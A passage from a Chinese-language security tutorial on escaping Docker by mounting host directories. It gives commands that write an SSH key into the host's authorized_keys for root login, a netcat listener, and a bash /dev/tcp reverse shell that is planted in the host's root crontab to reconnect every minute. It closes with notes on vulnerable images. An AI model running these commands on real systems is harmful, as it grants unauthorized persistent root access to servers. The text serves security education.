# mkdir .ssh
# cd .ssh
# echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDm2HYqppANgDf9zxpulqLgoLfc....9GxkweW7NZq99pVUao/rHp5ONjZfwHJQ3kQsmm2phoR9USbicPvuk4AUuKw== axxxxxx@gamil.com" > authorized_keys
经过上面操作,我们往服务器真实主机写入了公钥,然后成功以 root 权限登录了系统。
挂载 crob,反弹 shell
其实原理跟上面是一样的,也是利用挂载文件夹,进行任意文件写入,只不过利用的方式不同而已。
反弹 shell
首先我们先理解一下什么是反弹 shell,这个词在很多的安全文章里面反复谈到。
大家其实都应该用过 ssh 连接 Linux 服务器,通过 ssh xxx@xxxx,这就是正向连接。
而黑客不一样,黑客是通过各种奇怪的方式进入了系统内部,这台电脑可能是在内网里面,没有公开的 IP 地址,就跟家里的电脑一样,没有配置内网穿透,别人是无论如何也连接不到,这个时候,我们就要配置让内网的电脑主动连接我们部署在外网的电脑,这也就是反弹 shell。
下面看一下操作:
首先在我们外网的电脑,起一个监听的端口
yum install -y nc
nc -l -vv -p 1234
然后在被入侵的电脑里面,起一个反弹 shell,这里我们就采用最经典的方式
# /dev/tcp/192.168.31.215代表新建了一个tcp的连接
# 0>&1 表示将标准输入重定向到标准输出中
# 最终命令为:
bash -i >& /dev/tcp/192.168.31.215/1234 0>&1
# 这句命令的意思是将本服务器上的所有输入和输出重定向到目标服务器上。
就这样在我们外网的主机,就接受到了受害者传过来的 shell,我们就可以进行任何的操作了。
Linux 中的 cron
然后是 Linux 中 cron,想必用过的老司机都很熟悉,这是一个定时的 job。
在 centos 中,我们可以使用以下命令操作 cron job
crontab -e
参数说明:
每小时的第几分钟执行
每日的第几个小时执行
每月的第几天执行
每年的第几月执行
每周的第几天执行
欲执行的命令及参数
符号说明:
表示任何时刻
表示分割。比如 1,2,5 就是星期一,星期二,星期五
表示一个段,如第二段里: 1-5,就表示 1 到 5 点
表示每个 n 的单位执行一次,如第二段里,*/1, 就表示每隔 1 个小时执行一次命令。也可以写成 1-23/1.
结合两者进行利用
我们可以使用以上创建 docker 的方式,挂载真实主机的 /var/spool/cron 到 docker 里面,然后借机写入反弹 shell 的命令,然后就可以定时触发真实服务器的 cron 反弹 shell
# /var/spool/cron/root
* * * * * bash -i >& /dev/tcp/192.168.31.215/1234 0>&1
这一句命令表示每分钟反弹一次 shell。
0x04-使用有漏洞的镜像
这个主要存在于一些老旧的镜像并没有及时的进行 patch,导致存在漏洞,从而导致黑客进入 docker 内部,将之做为跳板,进行内网进一步渗透。
具体可以参考:
https://www.anquanke.com/post/id/84557
https://www.exploit-db.com/
当然上面都是一些旧的公开的漏洞 POC,大家权当扩充视野,也不要利用这些东西做坏事。
0x05-写在后面
总结一下 docker 主要漏洞
远程开放 docker 服务有可能造成服务器的任意文件写入。这里的远程开发包括了上面所说的那种方式外,还包括,比如提供一个 web 界面来管理 docker 镜像等等方式
使用的镜像有漏洞或者有后门,很多过时的 docker 镜像会存在一些已知的漏洞,要么就要即使更新,要么就可能会被黑客利用做为跳板,进行内网渗透。
写着写着有点跑题了,以上有些点写的不够深入,也写的不是特别全面,大家喜欢可以补充一二或者权当了解了解。